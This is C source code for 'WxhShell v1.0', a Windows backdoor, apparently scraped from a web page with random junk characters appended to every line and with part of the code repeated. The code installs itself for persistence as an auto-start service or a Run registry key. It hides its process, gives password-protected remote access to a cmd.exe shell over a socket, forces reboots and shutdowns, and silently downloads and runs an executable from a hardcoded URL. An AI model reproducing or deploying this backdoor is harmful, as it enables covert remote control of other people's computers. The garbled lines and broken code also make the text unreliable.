    if(Boot(SHUTDOWN)) &'zc2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rS!@AgPLE  
    else { Y|wjt\M  
    closesocket(wsh); du'`&{_/  
    ExitThread(0); .* `]x  
    } qGhg?u"n:  
    break; }^Sk.:;n3  
    } &Qv HjjQ?u  
  // 获取shell l-nH  
  case 's': { nVoWER:  
    CmdShell(wsh); yMyvX_UNI  
    closesocket(wsh); X}]A_G  
    ExitThread(0); vP#*if[V5  
    break; wA 7\K~fHV  
  } C6F7,v62  
  // 退出 Ri AMW|M"C  
  case 'x': { H)S!%(x4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N)D+FV29y  
    CloseIt(wsh); mA.,.<xE@  
    break; w2s06`g  
    } {U>N*&_`  
  // 离开 IIT[^_g  
  case 'q': { \K"7U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ex`T 9j.=B  
    closesocket(wsh); qAd=i0{N  
    WSACleanup(); }=\?]9`  
    exit(1); J,?F+Qji&=  
    break; ?[.8A/:5  
        } #^]vhnbN  
  } ){)-}M  
  } S[7^#O.)  
- 7T`/6  
  // 提示信息 k18v{)i~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Nr]Fh  
} ~Gh7i>n*  
  } e T;@pc  
ZI1]B944ni  
  return; ia_@fQ  
} .hG*mXw>  
RR:%"4M  
// shell模块句柄 }6.@  
int CmdShell(SOCKET sock) A/:_uqm4  
{ {Ak 4GL  
STARTUPINFO si; t_!p({  
ZeroMemory(&si,sizeof(si)); / yBrlf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S2\;\?]^~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QD3tM5(Yr  
PROCESS_INFORMATION ProcessInfo; z7sDaZL?_  
char cmdline[]="cmd"; OE0G*`m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :] U\{;q2  
  return 0; | ?vm.zp  
} N>*+Wg$Ne  
Q~0>GOq*  
// 自身启动模式 T\$i=,_$  
int StartFromService(void) d8agM/F*/  
{ &wY$G! P  
typedef struct >P@V D"U  
{ ^Y+C!I  
  DWORD ExitStatus; !Tv3WQ@  
  DWORD PebBaseAddress; R{bG`C8.d  
  DWORD AffinityMask; -3) jUzD  
  DWORD BasePriority; bFajK;  
  ULONG UniqueProcessId; _iq62[i3^  
  ULONG InheritedFromUniqueProcessId; a,S;JF)v  
}   PROCESS_BASIC_INFORMATION; M.s'~S7y  
>l AtfN='  
PROCNTQSIP NtQueryInformationProcess; %aw.o*@:  
of_y<dd[G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I-g/ )2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S:}"gwFM  
ZfqN4  
  HANDLE             hProcess; >L!c} Ku  
  PROCESS_BASIC_INFORMATION pbi; :EQ{7Op`  
@j}%{Km]Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X|Y(*$?D7  
  if(NULL == hInst ) return 0; ^5Lk}<utw  
J+E,UiZU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #I453  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K6-M.I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s^eiym P  
M :}u|  
  if (!NtQueryInformationProcess) return 0; R^/SBrWve  
U7 D!w$4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /A-WI x  
  if(!hProcess) return 0; xIa7F$R 0  
/qIl)+M  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1VM2CgRa  
{LF4_9 =  
  CloseHandle(hProcess); z dgS@g  
;T WLo_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); jmk Ou5@  
if(hProcess==NULL) return 0; L0!CHP/nRS  
q {Z#}|km#  
HMODULE hMod; &LAXNk2  
char procName[255]; <OGG(dI  
unsigned long cbNeeded; Wj(#!\ 7F  
|0=UZK7%O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \_8wU' 7  
w90YlWS#  
  CloseHandle(hProcess); m]AT-]*f  
6ABK)m-y  
if(strstr(procName,"services")) return 1; // 以服务启动 *l+Dbm,u  
h.PBe  
  return 0; // 注册表启动 }Rw,4  
} /v+)#[]>  
,?|$DY+=  
// 主模块 ciS,  
int StartWxhshell(LPSTR lpCmdLine) JaRsm'SIk~  
{ {jz`K1  
  SOCKET wsl; .N qXdari  
BOOL val=TRUE; vNv!fkl  
  int port=0; ~bhS$*t64  
  struct sockaddr_in door; pqfX}x  
Ck Nl;g l  
  if(wscfg.ws_autoins) Install(); "GK9Y  
U;MXiE3D  
port=atoi(lpCmdLine); (6S'wb  
D:_W;b)  
if(port<=0) port=wscfg.ws_port; kJ_8|  
rKrHd  
  WSADATA data; ">oySo.B?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m|aK_  
$0 olqt:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   1g{Pe`G,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (jc& Fk  
  door.sin_family = AF_INET;  m[B#k$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wu)+n\mt'  
  door.sin_port = htons(port); w*ans}P7  
/D&&7;jJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'k X8}bx  
closesocket(wsl); kUf i  
return 1; \#_ymM0  
} ?q:|vt  
A I.(}W4]  
  if(listen(wsl,2) == INVALID_SOCKET) { Wb-C0^dTn  
closesocket(wsl); p%3z*2,(  
return 1; u=.8M`FxP  
} qSc-V`*  
  Wxhshell(wsl); [k6I#v<&  
  WSACleanup(); eThaH0  
T- en|.  
return 0; N ,Eap KG  
l;lrf3  
} l_^SU8i57  
VVas>/0qr  
// 以NT服务方式启动 @AEH?gOX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) o.{W_k/n  
{ <.6rl  
DWORD   status = 0; QrYF Lh  
  DWORD   specificError = 0xfffffff; y7,I10:D  
zt(lV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; SiLW[JXd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kFn/dQ4|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I=y7$+7%  
  serviceStatus.dwWin32ExitCode     = 0; KewW8H~tb  
  serviceStatus.dwServiceSpecificExitCode = 0; [7Lr"  
  serviceStatus.dwCheckPoint       = 0; [eX]x  
  serviceStatus.dwWaitHint       = 0; m\6/:~qWW  
C^J<qq &  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =,6H2ew  
  if (hServiceStatusHandle==0) return; &lQ%;)'  
7IX8ck[D  
status = GetLastError(); s#9q3JV0  
  if (status!=NO_ERROR) SMEl'y  
{ (pxH<k=Ah  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >'*%wf[{  
    serviceStatus.dwCheckPoint       = 0; 7D6`1 &  
    serviceStatus.dwWaitHint       = 0; qjB:6Jq4q  
    serviceStatus.dwWin32ExitCode     = status; q+?<cjVg  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q^(CqQo!<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bf ut mI  
    return; e4S@ J/D  
  } ,;$OaJFT  
@/ z\p7e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Z0,jg)sA4  
  serviceStatus.dwCheckPoint       = 0; mZ+!8$1X  
  serviceStatus.dwWaitHint       = 0; w% %q/![uy  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [,o:nry'a  
} >,e^}K}C  
bA^uzE  
// 处理NT服务事件,比如:启动、停止 *uc/| c  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  /8x';hQ  
{ ,md_eGF  
switch(fdwControl) 8q^}AT<C  
{ }"D;?$R!  
case SERVICE_CONTROL_STOP: ;TAj;Tf]H  
  serviceStatus.dwWin32ExitCode = 0; 'ygKP6M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q{[@n  
  serviceStatus.dwCheckPoint   = 0; ${f<}  
  serviceStatus.dwWaitHint     = 0; R#T-o,m  
  { p='j/=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -DI >O/  
  } |Y7SP]/`gB  
  return; nK>CPqB^(  
case SERVICE_CONTROL_PAUSE: d?zSwLsl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gv-VDRS  
  break; 7(Fas(j3  
case SERVICE_CONTROL_CONTINUE: &<A,\ M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;wn9 21r  
  break; 4ud(5m;Rle  
case SERVICE_CONTROL_INTERROGATE: G+zhL6]F  
  break; vV,TT%J8D  
}; YYWD\Y`8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D2$ 9$xeR  
} F%w! I 9  
-xn-A f!v  
// 标准应用程序主函数 Y%KowgP\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `Fd \dn  
{ 5vx 4F f  
%U\,IO`g  
// 获取操作系统版本 N!+=5!  
OsIsNt=GetOsVer(); aU!}j'5Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sscbf  
oD2:19M@p  
  // 从命令行安装 %*D=ni#(sT  
  if(strpbrk(lpCmdLine,"iI")) Install(); Y2`sL,'h  
r2-iISxg+  
  // 下载执行文件 Z"`w>c.  
if(wscfg.ws_downexe) { y;b#qUd5a  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Od!)MQ*,  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rl?1|$%  
} y=Y k$:-y  
.?Eb{W)^br  
if(!OsIsNt) { @6;OF5VsQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 _2fW/U54_  
HideProc(); qc8Ge\3s  
StartWxhshell(lpCmdLine); Y{} ub]i  
} (TZK~+]@sb  
else cMT7Bd  
  if(StartFromService()) v;,W ^#`  
  // 以服务方式启动 <.h7xZ  
  StartServiceCtrlDispatcher(DispatchTable); #C9f?fnM  
else MBWoPK  
  // 普通方式启动 kckRHbeU  
  StartWxhshell(lpCmdLine); Kb;*"@LX  
5CI {&E  
return 0; XGa8tI[:X  
} VVJ0?G (?  
f"Sp.'@  
j.=:S;  
*AH `ob}  
=========================================== cv'8_3  
[ V.67_~  
u?,>yf.;s  
-P;3BHS$T  
,DFN:uf=l  
q{w|`vIb  
" RY;V@\pRY+  
5226 &N  
#include <stdio.h> EyK!'9~a  
#include <string.h> od `;XVG  
#include <windows.h> k4{!h?h  
#include <winsock2.h> x6cG'3&T  
#include <winsvc.h> Gu$/rb?  
#include <urlmon.h> 9PB%v.t5 y  
Oo|JIr7i  
#pragma comment (lib, "Ws2_32.lib")  Xu-~j!  
#pragma comment (lib, "urlmon.lib") ka_m Q<{9  
\uZpAV)5  
#define MAX_USER   100 // 最大客户端连接数 mV}bQ^*?Z  
#define BUF_SOCK   200 // sock buffer [n"eD4)K|  
#define KEY_BUFF   255 // 输入 buffer 6wp1jN  
B- @bU@H  
#define REBOOT     0   // 重启 ^q-%#  
#define SHUTDOWN   1   // 关机 \&F4Wl>`  
^Gk)aX  
#define DEF_PORT   5000 // 监听端口 , Q0Y} )  
.$\-{)  
#define REG_LEN     16   // 注册表键长度 OU{c| O  
#define SVC_LEN     80   // NT服务名长度 xP\s^]e  
[8'?G5/n  
// 从dll定义API )>~ jjR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); lf"w/pb'  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! $JX3mP  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uO4 LD}A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =-^A;AO(  
!Q\*a-C  
// wxhshell配置信息 2/3yW.C  
struct WSCFG { HzM\<YD  
  int ws_port;         // 监听端口 ;!f='QuA  
  char ws_passstr[REG_LEN]; // 口令 %oiF} >  
  int ws_autoins;       // 安装标记, 1=yes 0=no _|e&zr  
  char ws_regname[REG_LEN]; // 注册表键名 YeCnk:_ kg  
  char ws_svcname[REG_LEN]; // 服务名 "rMfe>;FJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1gK|n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;bwBd:Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3$"V,_TBZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lITd{E,+r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dOv\]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &0kr[Ik.  
> %KEMlKZ  
}; N[eL Qe]q  
4A+g-{d  
// default Wxhshell configuration hTa X@=Ra  
struct WSCFG wscfg={DEF_PORT, _#\Nw0{  
    "xuhuanlingzhe",  3?D, Wu  
    1, vyS>3(NZ  
    "Wxhshell", 2Pb+/1*ix  
    "Wxhshell", XoD:gf  
            "WxhShell Service", 3>n&u,Xe  
    "Wrsky Windows CmdShell Service", UG\2wH_  
    "Please Input Your Password: ", g7323m1=  
  1, DOu^   
  "http://www.wrsky.com/wxhshell.exe", EY]H*WJJ  
  "Wxhshell.exe" _1)n_P4  
    }; by1q"\-,  
G+#bO5  
// 消息定义模块 0V6, &rTF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Xr^ 5Th\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,q%X`F rc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -`8@  
char *msg_ws_ext="\n\rExit."; f\5w@nX  
char *msg_ws_end="\n\rQuit."; c) Eu(j\#  
char *msg_ws_boot="\n\rReboot..."; TeuZVy8a  
char *msg_ws_poff="\n\rShutdown..."; Foq3==*p  
char *msg_ws_down="\n\rSave to "; &n,v@ gt  
<k[_AlCmsg  
char *msg_ws_err="\n\rErr!"; yW?-Z[  
char *msg_ws_ok="\n\rOK!"; 4U\>TFO  
6<@ mB Z  
char ExeFile[MAX_PATH]; x#E M)Thq  
int nUser = 0; 'T^MaLK  
HANDLE handles[MAX_USER]; Ak3^en  
int OsIsNt;  }c||$  
Pz*BuL <  
SERVICE_STATUS       serviceStatus; l\0PwD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <Z t]V`-  
Z42q}Fhm*R  
// 函数声明 Q1Qw45$  
int Install(void); lZ5-lf4  
int Uninstall(void); n7i~^nf>  
int DownloadFile(char *sURL, SOCKET wsh); ;Qy Ew5  
int Boot(int flag); xY)eU;*  
void HideProc(void); @[joM*U  
int GetOsVer(void); NI"Zocp  
int Wxhshell(SOCKET wsl); >/Z*\6|Zx#  
void TalkWithClient(void *cs); q=e;P;u  
int CmdShell(SOCKET sock); K?M~x&Q  
int StartFromService(void); XR8`,qH>  
int StartWxhshell(LPSTR lpCmdLine); -J!n7  
= mQY%l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /Q W^v;^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Vel(+HS  
t,TlW^-  
// 数据结构和表定义 hQ>$ "0K  
SERVICE_TABLE_ENTRY DispatchTable[] = 2.JrLBhN  
{ Z*P/ubV'  
{wscfg.ws_svcname, NTServiceMain}, 3<.DiY  
{NULL, NULL} 1c/<2xO~  
}; 8yYag[m8  
8aQTm- {m  
// 自我安装 O:+y/c  
int Install(void) >9XG+f66E  
{ c='W{47  
  char svExeFile[MAX_PATH]; rc:UG "[  
  HKEY key; ~BTm6*'h  
  strcpy(svExeFile,ExeFile); ,h%n5R$:  
?mV2|;  
// 如果是win9x系统,修改注册表设为自启动 -mO<(wfV>  
if(!OsIsNt) { sMAH;'`!Eu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x!85P\sm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V@LBy1z  
  RegCloseKey(key); G,6`:l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o;9H~E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g<F+Ldgj  
  RegCloseKey(key); r_ m|?U %  
  return 0; EhD%  
    } )y!gApNs"  
  } ?l[#d7IB  
} )2Q0NbDn  
else { MS2/<LD3d  
 eJ[+3Wh  
// 如果是NT以上系统,安装为系统服务 }j6|+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p? +!*BZ  
if (schSCManager!=0) Ac*)z#H  
{ Pvv7|AV   
  SC_HANDLE schService = CreateService `{yD\qDyX  
  ( /Re67cMQ*  
  schSCManager, \Rt>U|%  
  wscfg.ws_svcname, V/\`:  
  wscfg.ws_svcdisp, -hF!_);{  
  SERVICE_ALL_ACCESS, bA6^R If?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x5#Kk.  
  SERVICE_AUTO_START, T z:,l$  
  SERVICE_ERROR_NORMAL, B}y#AVSA  
  svExeFile, =JTwH>fD  
  NULL, mWoN\Rwj  
  NULL, 6 P9#6mZ  
  NULL, o|n+;h  
  NULL, N>s3tGh  
  NULL s)'+,lKw  
  ); 0jXDjk5'<  
  if (schService!=0) vPZ0?r_5W  
  { ^}gZ+!kA  
  CloseServiceHandle(schService); rCGKE`H  
  CloseServiceHandle(schSCManager); J| 46i  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D!)h92CIDm  
  strcat(svExeFile,wscfg.ws_svcname); 4;jAdWj3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MD 0d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bLg gh]Fh  
  RegCloseKey(key); q?w%%.9]X  
  return 0; 8SiWAOQAL  
    } +5GC?cW  
  } q`|E9  
  CloseServiceHandle(schSCManager); ,ueA'GZ  
} :-2sKD y  
} M.$=tuUL  
]RVme^=  
return 1; 0!c/4^  
} VzM (u _)  
Q\^BOdX^`  
// 自我卸载 )C$Ij9<A  
int Uninstall(void) ARJtE@s6Y  
{ DfOig LG*  
  HKEY key; tQMz1$  
<qoPBm])  
if(!OsIsNt) {  OtZtl* 5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >G0ihhVt  
  RegDeleteValue(key,wscfg.ws_regname); 3=Xvl 58k  
  RegCloseKey(key); /PBK:B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b3=XWzK5  
  RegDeleteValue(key,wscfg.ws_regname); s BuXw a  
  RegCloseKey(key); ccW{88II7w  
  return 0; 5 tVg++I  
  } 2Y}A9Veb  
} VM3)L>x]/  
} qm=9!jqC;  
else { Kna@K$6{w=  
r_V^sX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {X\FS   
if (schSCManager!=0) 1ww~!R  
{ SwH#=hg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pi[(xD8  
  if (schService!=0) @<1T&X{Z!  
  { 5e'**tbKH  
  if(DeleteService(schService)!=0) { U<yKC8  
  CloseServiceHandle(schService); JkNRXC:  
  CloseServiceHandle(schSCManager); ^X*l&R_=R  
  return 0; y$|OE%S  
  } ehX4[j6  
  CloseServiceHandle(schService); (bogAi3<F  
  } %(1y  
  CloseServiceHandle(schSCManager); cn ;2&  
} "L)?dlb6T  
} |P"kJ45  
!;U}ax;AF  
return 1; < $rXQ  
} j+3=&PkA.]  
|uA /72  
// 从指定url下载文件 ;uU 8$  
int DownloadFile(char *sURL, SOCKET wsh) p#dYNed]'  
{ #fF';Y7  
  HRESULT hr; IkLcL8P^  
char seps[]= "/"; 3_Re>i  
char *token; e({-. ra  
char *file; eG5xJA^  
char myURL[MAX_PATH]; i~*#z&4A+  
char myFILE[MAX_PATH]; DM !B@  
F)tcQO"G  
strcpy(myURL,sURL); _ Av_jw`m  
  token=strtok(myURL,seps); *i7|~q/u  
  while(token!=NULL) GplEad $  
  { X gA( D  
    file=token; s !HOrhV  
  token=strtok(NULL,seps); -sk!XWW+  
  } j{NcDe pLn  
k`,>52  
GetCurrentDirectory(MAX_PATH,myFILE); ?7aeY5p  
strcat(myFILE, "\\"); ]A:G>K  
strcat(myFILE, file); :W1B"T<  
  send(wsh,myFILE,strlen(myFILE),0); h\OMWJ~  
send(wsh,"...",3,0); qmGLc~M0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zO)3MC7l*  
  if(hr==S_OK) k!wEPi]  
return 0; <a%RKjQvT  
else >VvA&p71b  
return 1; yUFT9bD  
D3;#:  
} s ` +cQ  
<8 25?W|  
// 系统电源模块 69{q*qCW  
int Boot(int flag) ft 4(^|~  
{ e:RgCDWL  
  HANDLE hToken; 0\yA6`}!  
  TOKEN_PRIVILEGES tkp; A>J,Bi  
V3> JZH`  
  if(OsIsNt) { eq$.np  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zM|Y X<  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (K|7T{B  
    tkp.PrivilegeCount = 1; MJI`1*(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X?OH//co  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GUqBnRA8j  
if(flag==REBOOT) { xEqr3(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'C<4{agS  
  return 0; </jTWc'}  
} _air'XQ&!  
else { ]*vv=@"`e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O3["5  
  return 0; @  M  
} ORo,.#<  
  } uBfSS\SX|  
  else { #\$AB_[ot>  
if(flag==REBOOT) { 4:Id8r zz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _T.k/a  
  return 0; F>[T)t{m=  
} +I r  
else { F>s5<pKAX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q}:#H z?U  
  return 0; {Z(kzJwN  
} jkfc=O6^  
} <e@+w6Kp'7  
(od9adSehV  
return 1; *'hJ5{U  
} o0:RsODl  
>K-S&Y  
// win9x进程隐藏模块 Q6rvTV'vv  
void HideProc(void) cCbZ*  
{ %oHK=],|1  
fu $<*Sa2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D $3Mg  
  if ( hKernel != NULL ) \*5${[  
  { E8] kd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nv/'C=+L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8zzY;3^h;  
    FreeLibrary(hKernel); Y2Y)|<FH  
  } _%:$sAj  
&*8_w-  
return; rki0!P`  
} k}FmdaPI'  
2c1L[]h'  
// 获取操作系统版本 5V@c~1\  
int GetOsVer(void) r: M>/Z/  
{ S>V+IKW;(  
  OSVERSIONINFO winfo; 3  G_0DS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EE$\8Gx']!  
  GetVersionEx(&winfo); =a^}]k}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =C 7WQ  
  return 1; Tqj:C8K{  
  else xY>@GSO1  
  return 0; X_aC$_b  
} uJ T^=Y  
,u_ Z0S M  
// 客户端句柄模块 Dbl+izF3  
int Wxhshell(SOCKET wsl) xTg=oq  
{ 1U6 z2i+y  
  SOCKET wsh; t4v@d  
  struct sockaddr_in client; ~EtwX YkRZ  
  DWORD myID; zy(NJ  
]I'dnd3e  
  while(nUser<MAX_USER) V;29ieE!  
{ y7~y@2  
  int nSize=sizeof(client); bYAtUEv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (NC]S  
  if(wsh==INVALID_SOCKET) return 1; Lz{z~xNHW.  
?/|KM8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X R|U6bf]  
if(handles[nUser]==0) |wINb~trz  
  closesocket(wsh); "Tz'j}< 9C  
else |ya.c\}q  
  nUser++; YJu~iQ`i  
  } J"~!jrzBh(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V@rqC[on  
5XoM)  
  return 0; 0TWd.+  
} `3yK<-  
a'Yi^;2+\  
// 关闭 socket  G& m~W  
void CloseIt(SOCKET wsh) -}(2}~{e(  
{ Z5|BwM  
closesocket(wsh); |p.|zH  
nUser--; &&g02>gE  
ExitThread(0); e2^TQv2(=e  
} T.}Y&,n$$5  
c{ ([U  
// 客户端请求句柄 +\]Gu(z<  
void TalkWithClient(void *cs) bEm9hFvd  
{ {B-*w%}HU  
D$N;Qb  
  SOCKET wsh=(SOCKET)cs; # /Bg5:  
  char pwd[SVC_LEN]; 8W Etm}  
  char cmd[KEY_BUFF]; Z+=M_{`{  
char chr[1]; -}3nIk<N  
int i,j; Q_>W!)p Gz  
y*%uGG5  
  while (nUser < MAX_USER) { BU#3fPl  
6n^@Ps  
if(wscfg.ws_passstr) { 6EeO\Qj{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ej8g/{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }OY/0p-Z  
  //ZeroMemory(pwd,KEY_BUFF); ?4^ 0xGyE  
      i=0; aW-6$=W  
  while(i<SVC_LEN) { 2Qt!JXC  
yd=b!\}WJ  
  // 设置超时 dci<Rz`h  
  fd_set FdRead; Al=ByX@  
  struct timeval TimeOut; $,P:B%]  
  FD_ZERO(&FdRead); !2h ZtX  
  FD_SET(wsh,&FdRead); k.z(.uc=  
  TimeOut.tv_sec=8; j#0JD!Vr  
  TimeOut.tv_usec=0; d f!i}L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); flT6y-d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pH3<QNq5  
o7 t{?|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7[PEiAI  
  pwd=chr[0]; tuLNGU  
  if(chr[0]==0xd || chr[0]==0xa) { SA7(EJ95  
  pwd=0; ^e =G} N^  
  break; mRa\ wEg%  
  } Evd|_W-  
  i++; sn"z'=ch  
    } h aApw(.%  
A,BYi$  
  // 如果是非法用户,关闭 socket f}J(nz>Sh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tv26eK 38  
} QFMA y>Gdn  
<z\`Ma  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ 'Va(}v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G;$; $gM  
e[16 7uU  
while(1) { BM'!odRv  
&O^-,n  
  ZeroMemory(cmd,KEY_BUFF); X8">DR&>Y  
`CI_zc=jx  
      // 自动支持客户端 telnet标准   R<U]"4CBx  
  j=0; le]~Cy0  
  while(j<KEY_BUFF) { (|F.3~Amq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vFB^h1k~.M  
  cmd[j]=chr[0]; y pyKRsx  
  if(chr[0]==0xa || chr[0]==0xd) { Fj(GyPFG  
  cmd[j]=0; Z`u$#<ukX  
  break; [iEz?1.,  
  } g4 eW<  
  j++; |-G2pu;  
    } -rn6ZSD)  
|?s sHW  
  // 下载文件 ?*%_:fB  
  if(strstr(cmd,"http://")) { ;}j(x;l>t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); HA*L*:0  
  if(DownloadFile(cmd,wsh)) Z Cjw)To(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #K6cBfqI  
  else y;uR@{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ r8 ZAS  
  } .z.4E:Iq  
  else { msM1K1er  
XS">`9o!  
    switch(cmd[0]) { f+Sb> $  
  l6&\~Z(  
